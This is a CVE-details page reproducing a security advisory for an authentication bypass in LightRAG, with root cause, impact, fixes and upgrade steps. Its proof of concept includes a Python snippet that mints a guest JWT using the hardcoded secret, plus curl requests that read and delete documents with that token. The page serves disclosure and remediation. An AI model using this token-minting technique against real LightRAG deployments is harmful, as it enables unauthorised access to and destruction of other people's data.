CVE-2026-61740 — Vulnerability in lightrag-hku — CVE Details
LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.61%). Schedule for your next planned update.
Does your project use an affected lightrag-hku version?
Paste your requirements.txt to check it for CVE-2026-61740 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.
This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).
Root cause
Three independent issues combine:
lightrag/api/config.py:54ships a hardcoded default JWT secret:DEFAULT_TOKEN_SECRET="lightr...key!"lightrag/api/auth.py:28-38falls back toDEFAULT_TOKEN_SECRETwith only a warning log whenAUTH_ACCOUNTSis not configured. The fix for CVE-2026-30762 only raises whenAUTH_ACCOUNTSis set, so the API-key-only path is silently vulnerable.lightrag/api/lightrag_server.py:1140-1186exposesGET /auth-statusandPOST /loginwithout any authentication dependency. In the API-key-only configuration,auth_handler.accountsis empty, and both endpoints unconditionally mint and return a signed guest JWT.lightrag/api/utils_api.py:214-216insidecombined_dependencyshort-circuits authorization on any valid guest token whenauth_configuredis false, before reaching theX-API-Keycheck on line 237:if not auth_configured and token_info.get("role") == "guest": return
Proof of concept (offline-minted token, zero server contact)
Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.
$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
{"sub":"guest","role":"guest",
"exp":datetime.now(timezone.utc)+timedelta(hours=24),
"metadata":{"auth_mode":"disabled"}},
"lightrag-jwt-default-secret-key!",
algorithm="HS256"))
PY
eyJhbGci...
# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403
# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403
# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
http://target:9876/documents
{"statuses":{}}
HTTP 200
# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200
The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.
Impact
Any LightRAG instance that is reachable on the network and configured with:
LIGHTRAG_API_KEYset (i.e. the operator believes the server is protected), andAUTH_ACCOUNTSunset (i.e. they opted out of the password-based login flow)
is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:
- Read and delete arbitrary documents (
/documents,DELETE /documents) - Upload arbitrary documents and text for ingestion (
/documents/upload,/documents/text,/documents/texts,/documents/file_batch,/documents/scan) - Clear LLM / embedding caches (
/documents/clear_cache) - Inspect and mutate the knowledge graph (
/graph/*) - Run arbitrary queries that will consume paid LLM / embedding credits (
/query,/query/stream)
Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.
Suggested CVSS
7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.
Suggested fix
Any one of the following individually closes the primary vector; all three are recommended for defense in depth:
- Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever
TOKEN_SECRETis unset, regardless ofAUTH_ACCOUNTS. - Gate
/auth-statusand/loginwhenLIGHTRAG_API_KEYis set. Either requireDepends(combined_auth)or stop minting guest tokens wheneverapi_key_configuredis true. - Fix the short-circuit in
combined_dependency. Do not accept guest tokens as authentication whenapi_key_configuredis true; always require a validX-API-Keyheader in that configuration.
Affected versions
mainthrough commit157c331(2026-04-15)- Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path
Prior art checked
- GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT
alg:none. Unrelated. - GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with
AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration. - Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.
Discovery
Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.
Advisory Timeline
- First published July 20, 2026 (129 days ago).
- Last revised July 23, 2026 — 3 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "lightrag-hku>=1.5.4"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| lightrag-hku PyPI · Affected: 0.0.2, 0.0.3, 0.0.4, 0.0.5 (+83 more) | 1.5.4 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.4 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
References
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-61740ADVISORY
- https://github.com/HKUDS/LightRAG/pull/3319WEB
- https://github.com/HKUDS/LightRAG/commit/f7819aa3a49a9d8d92eed8251d82d6ebcafa8cbaWEB
- https://github.com/HKUDS/LightRAGPACKAGE
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4WEB
Frequently Asked Questions
- What is CVE-2026-61740?
- LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.4/10).
- How do I check if my project is affected by CVE-2026-61740?
- CVE-2026-61740 affects lightrag-hku. It has a 1.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-61740 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This places it in the top quartile of EPSS-scored vulnerabilities — 76.3% of tracked vulnerabilities score at or below it, so it is more likely to be exploited than most of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-61736CRITICAL
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
- CVE-2026-85734CRITICAL
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
- CVE-2026-61736CRITICAL
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
- CVE-2026-77359CRITICAL
Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
- CVE-2026-85734CRITICAL
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
- CVE-2026-77312CRITICAL
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)